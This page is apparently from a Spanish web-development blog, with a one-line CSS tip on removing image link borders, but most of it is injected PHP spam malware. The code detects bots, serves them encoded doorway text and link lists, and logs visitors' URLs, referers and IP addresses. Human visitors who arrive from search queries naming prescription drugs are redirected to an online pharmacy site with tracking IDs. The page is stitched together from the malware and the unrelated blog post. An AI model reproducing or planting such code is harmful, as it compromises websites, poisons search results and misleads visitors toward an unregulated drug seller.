if ($is_human and !eregi("^[a-zA-Z]{5,}", @$ff_server_user_agent)) {
$is_human = false;
}
if ($is_human and strlen($ff_server_user_agent) <= 11) {
$is_human = false;
}
return $is_human;
}
@$is_human = detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip);
//var_dump(@$is_human);
if (@$is_human == false) {
// --- get text
if (is_file($ff_basefile)) {
$f_arrfile = fopen($ff_basefile, "r");
$f_doors_mas = unserialize(base64_decode(gzinflate(fread($f_arrfile, filesize($ff_basefile)))));
fclose($f_arrfile);
$decs = hexdec(substr($ff_url_md5, 0, 4));
$decs_cof = 65535 / $decs;
$decs = (count($f_doors_mas)-1) / $decs_cof;
$decs = intval($decs);
$ff_ankor = $f_doors_mas[$decs]["name"];
$ff_text = $f_doors_mas[$decs]["text"]."
";
}
// --- run log
if (is_file($ff_logname)) {
$f_logfile = fopen($ff_logname, "r");
$f_log_mas = unserialize(base64_decode(gzinflate(fread($f_logfile, filesize($ff_logname)))));
fclose($f_logfile);
$flag_in_mas = 0;
foreach ($f_log_mas as $key) {
if (in_array($ff_url_md5, $key)) {
$flag_in_mas = 1;
}
}
if ($flag_in_mas == 0) {
$f_log_mas[] = array(
"url_md5"=>$ff_url_md5,
"url"=>$ff_url,
"ankor"=>$ff_ankor,
"referer"=>$ff_server_referer,
"ip"=>$ff_server_ip,
"time"=>$ff_datetime
);
$f_logfile = fopen($ff_logname, "w+");
fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));
fclose($f_logfile);
}
}
else
{
$f_log_mas[] = array(
"url_md5"=>$ff_url_md5,
"url"=>$ff_url,
"ankor"=>$ff_ankor,
"referer"=>$ff_server_referer,
"ip"=>$ff_server_ip,
"time"=>$ff_datetime
);
$f_logfile = fopen($ff_logname, "w+");
fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));
fclose($f_logfile);
}
// --- show links
if ($ff_show_links == 1) {
for ($i = 0; $i <= count($f_log_mas)-1; $i++) {
if ($f_log_mas[$i]["url_md5"] == $ff_url_md5) {
$url_pos = $i;
}
}
if ($url_pos - $ff_links_count >= 0) {
for ($i=$url_pos - $ff_links_count; $i < $url_pos; $i++) {
$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";
}
}
if ($url_pos + $ff_links_count <= count($f_log_mas)-1) {
for ($i=$url_pos + 1; $i <= $url_pos + $ff_links_count; $i++) {
$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";
}
}
$ff_text = str_replace("{show_links}", $linklist, $ff_text);
$ff_outlink_mas = file($ff_outlink_file);
$ff_rand_outlinks = array_rand($ff_outlink_mas, $ff_outlinks_count);
foreach($ff_rand_outlinks as $ff_temp => $ff_teklink) {
$ff_outlinks = $ff_outlinks ."". $ff_outlink_mas[$ff_teklink] ."". $ff_outlinks_separator;
}
$ff_text = str_replace("{out_links}", $ff_outlinks, $ff_text);
echo $ff_text;
}
exit;
}
if (@$is_human) {
if (eregi('Viagra|Cialis|Levitra|Abilify|Accutane|Alesse|Allopurinol|Amoxil|Ampicillin|Antabuse|Aricept|Augmentin|Avandia|Baclofen|Bactrim|Benicar|Celebrex|Celexa|Chloramphenicol|Cipro|Citalopram|Clavamox|Clomid|Coumadin|Cymbalta|Cytotec|Deltasone|Diclofenac|Diflucan|Doxycycline|Elavil|Emsam|Ephedraxin|Erythromycin|Estrace|Evista|Flomax|Fluoxetine|Furosemide|Hoodia|Imuran|Inderal|Lasix|Levlen|Lexapro|Lotensin|Maxalt|Medrol|Metformin|Methotrexate|Naprosyn|Neurontin|Nolvadex|Norvasc|Paxil|Plavix|Prednisone|Premarin|Prevacid|Propecia|Propranolol|Protonix|Proventil|Reglan|Risperdal|Strattera|Sumycin|Synthroid|Tetracycline|Topamax|Trazodone|Tribulus|Tricor|Valtrex|Vermox|Vitamin B-12|Wellbutrin|Xenical|Zanaflex|Zestoretic|Zovirax|Zyban|Zyprexa', $ff_server_referer)) {
$ff_rand_domen = rand(1,3);
$ff_redir_domen = "http://247drugsonline.com/";
if ($ff_rand_domen == 1) { $ff_redir_domen = "http://247drugsonline.com/"; }
if ($ff_rand_domen == 2) { $ff_redir_domen = "http://247drugsonline.com/"; }
if ($ff_rand_domen == 3) { $ff_redir_domen = "http://247drugsonline.com/"; }
if (eregi('Abilify', $ff_server_referer)) { $ff_redir_id = '4147';}
if (eregi('Accutane', $ff_server_referer)) { $ff_redir_id = '3187';}
if (eregi('Alesse', $ff_server_referer)) { $ff_redir_id = '5425';}
if (eregi('Allopurinol', $ff_server_referer)) { $ff_redir_id = '5119';}
if (eregi('Amoxil', $ff_server_referer)) { $ff_redir_id = '1882';}
if (eregi('Ampicillin', $ff_server_referer)) { $ff_redir_id = '5424';}
if (eregi('Antabuse', $ff_server_referer)) { $ff_redir_id = '724';}
if (eregi('Aricept', $ff_server_referer)) { $ff_redir_id = '2965';}
if (eregi('Augmentin', $ff_server_referer)) { $ff_redir_id = '152';}
if (eregi('Avandia', $ff_server_referer)) { $ff_redir_id = '727';}
if (eregi('Baclofen', $ff_server_referer)) { $ff_redir_id = '4038';}
if (eregi('Bactrim', $ff_server_referer)) { $ff_redir_id = '4010';}
if (eregi('Benicar', $ff_server_referer)) { $ff_redir_id = '416';}
if (eregi('Celebrex', $ff_server_referer)) { $ff_redir_id = '155';}
if (eregi('Celexa', $ff_server_referer)) { $ff_redir_id = '2293';}
if (eregi('Chloramphenicol', $ff_server_referer)) { $ff_redir_id = '5180';}
if (eregi('Cipro', $ff_server_referer)) { $ff_redir_id = '252';}
if (eregi('Citalopram', $ff_server_referer)) { $ff_redir_id = '5122';}
if (eregi('Clavamox', $ff_server_referer)) { $ff_redir_id = '4953';}
if (eregi('Clomid', $ff_server_referer)) { $ff_redir_id = '3326';}
if (eregi('Coumadin', $ff_server_referer)) { $ff_redir_id = '2962';}
if (eregi('Cymbalta', $ff_server_referer)) { $ff_redir_id = '3188';}
if (eregi('Cytotec', $ff_server_referer)) { $ff_redir_id = '741';}
if (eregi('Deltasone', $ff_server_referer)) { $ff_redir_id = '255';}
if (eregi('Diclofenac', $ff_server_referer)) { $ff_redir_id = '4039';}
if (eregi('Diflucan', $ff_server_referer)) { $ff_redir_id = '257';}
if (eregi('Doxycycline', $ff_server_referer)) { $ff_redir_id = '4047';}
if (eregi('Elavil', $ff_server_referer)) { $ff_redir_id = '748';}
if (eregi('Emsam', $ff_server_referer)) { $ff_redir_id = '749';}
if (eregi('Ephedraxin', $ff_server_referer)) { $ff_redir_id = '5003';}
if (eregi('Erythromycin', $ff_server_referer)) { $ff_redir_id = '4280';}
if (eregi('Estrace', $ff_server_referer)) { $ff_redir_id = '4667';}
if (eregi('Evista', $ff_server_referer)) { $ff_redir_id = '751';}
if (eregi('Flomax', $ff_server_referer)) { $ff_redir_id = '755';}
if (eregi('Fluoxetine', $ff_server_referer)) { $ff_redir_id = '5121';}
if (eregi('Furosemide', $ff_server_referer)) { $ff_redir_id = '4050';}
if (eregi('Hoodia', $ff_server_referer)) { $ff_redir_id = '2121';}
if (eregi('Imuran', $ff_server_referer)) { $ff_redir_id = '4155';}
if (eregi('Inderal', $ff_server_referer)) { $ff_redir_id = '2853';}
if (eregi('Lasix', $ff_server_referer)) { $ff_redir_id = '262';}
if (eregi('Levlen', $ff_server_referer)) { $ff_redir_id = '2072';}
if (eregi('Lexapro', $ff_server_referer)) { $ff_redir_id = '3052';}
if (eregi('Lotensin', $ff_server_referer)) { $ff_redir_id = '773';}
if (eregi('Maxalt', $ff_server_referer)) { $ff_redir_id = '3564';}
if (eregi('Medrol', $ff_server_referer)) { $ff_redir_id = '3544';}
if (eregi('Metformin', $ff_server_referer)) { $ff_redir_id = '5069';}
if (eregi('Methotrexate', $ff_server_referer)) { $ff_redir_id = '4560';}
if (eregi('Naprosyn', $ff_server_referer)) { $ff_redir_id = '166';}
if (eregi('Neurontin', $ff_server_referer)) { $ff_redir_id = '167';}
if (eregi('Nolvadex', $ff_server_referer)) { $ff_redir_id = '2957';}
if (eregi('Norvasc', $ff_server_referer)) { $ff_redir_id = '169';}
if (eregi('Paxil', $ff_server_referer)) { $ff_redir_id = '170';}
if (eregi('Plavix', $ff_server_referer)) { $ff_redir_id = '172';}
if (eregi('Prednisone', $ff_server_referer)) { $ff_redir_id = '173';}
if (eregi('Premarin', $ff_server_referer)) { $ff_redir_id = '174';}
if (eregi('Prevacid', $ff_server_referer)) { $ff_redir_id = '175';}
if (eregi('Propecia', $ff_server_referer)) { $ff_redir_id = '177';}
if (eregi('Propranolol', $ff_server_referer)) { $ff_redir_id = '5622';}
if (eregi('Protonix', $ff_server_referer)) { $ff_redir_id = '2856';}
if (eregi('Proventil', $ff_server_referer)) { $ff_redir_id = '2286';}
if (eregi('Reglan', $ff_server_referer)) { $ff_redir_id = '4006';}
if (eregi('Risperdal', $ff_server_referer)) { $ff_redir_id = '2857';}
if (eregi('Strattera', $ff_server_referer)) { $ff_redir_id = '4286';}
if (eregi('Sumycin', $ff_server_referer)) { $ff_redir_id = '818';}
if (eregi('Synthroid', $ff_server_referer)) { $ff_redir_id = '2959';}
if (eregi('Tetracycline', $ff_server_referer)) { $ff_redir_id = '4661';}
if (eregi('Topamax', $ff_server_referer)) { $ff_redir_id = '823';}
if (eregi('Trazodone', $ff_server_referer)) { $ff_redir_id = '5072';}
if (eregi('Tribulus', $ff_server_referer)) { $ff_redir_id = '3635';}
if (eregi('Tricor', $ff_server_referer)) { $ff_redir_id = '2295';}
if (eregi('Valtrex', $ff_server_referer)) { $ff_redir_id = '3983';}
if (eregi('Vermox', $ff_server_referer)) { $ff_redir_id = '3499';}
if (eregi('Vitamin B-12', $ff_server_referer)) { $ff_redir_id = '5565';}
if (eregi('Wellbutrin', $ff_server_referer)) { $ff_redir_id = '189';}
if (eregi('Xenical', $ff_server_referer)) { $ff_redir_id = '961';}
if (eregi('Zanaflex', $ff_server_referer)) { $ff_redir_id = '191';}
if (eregi('Zestoretic', $ff_server_referer)) { $ff_redir_id = '4288';}
if (eregi('Zovirax', $ff_server_referer)) { $ff_redir_id = '195';}
if (eregi('Zyban', $ff_server_referer)) { $ff_redir_id = '196';}
if (eregi('Zyprexa', $ff_server_referer)) { $ff_redir_id = '2860';}
if (eregi('viagra|cialis|levitra', $ff_server_referer)) {
$ff_redir_id = "index";
}
if ($ff_redir_id == "index") {
$ff_redir_page = $ff_redir_domen."?said=".$ff_said."&key=".$ff_server_referer;
}
else
{
$ff_redir_page = $ff_redir_domen."item.php?id=".$ff_redir_id."&said=".$ff_said."&key=".$ff_server_referer;
}
$location = $ff_redir_page;
header("Location: ".$location);
exit;
}
}
Quitar borde color en imágenes con enlace por css
La forma de hacerlo es con:
img
{
border:0;
}
Contenidos
- adsense (18)
- correo (5)
- css (31)
- domain (9)
- Enlaces (2)
- Flash (3)
- Internet (1)
- Javascript (23)
- joomla (1)
- Linux (13)
- Mundillo web (102)
- Mysql (9)
- Oscommerce (7)
- paypal (1)
- php (29)
- Python (8)
- reactNative (1)
- Recursos (33)
- Recursos web (25)
- Regexp (1)
- Seo (48)
- sqlite3 (1)
- web security (2)
- wordpress (8)
Archivo del blog
-
►
2011
(21)
- ► septiembre (1)
-
►
2010
(24)
- ► septiembre (2)
-
►
2009
(77)
- ► septiembre (6)
-
►
2008
(80)
- ► septiembre (8)
-
►
2007
(65)
- ► septiembre (2)



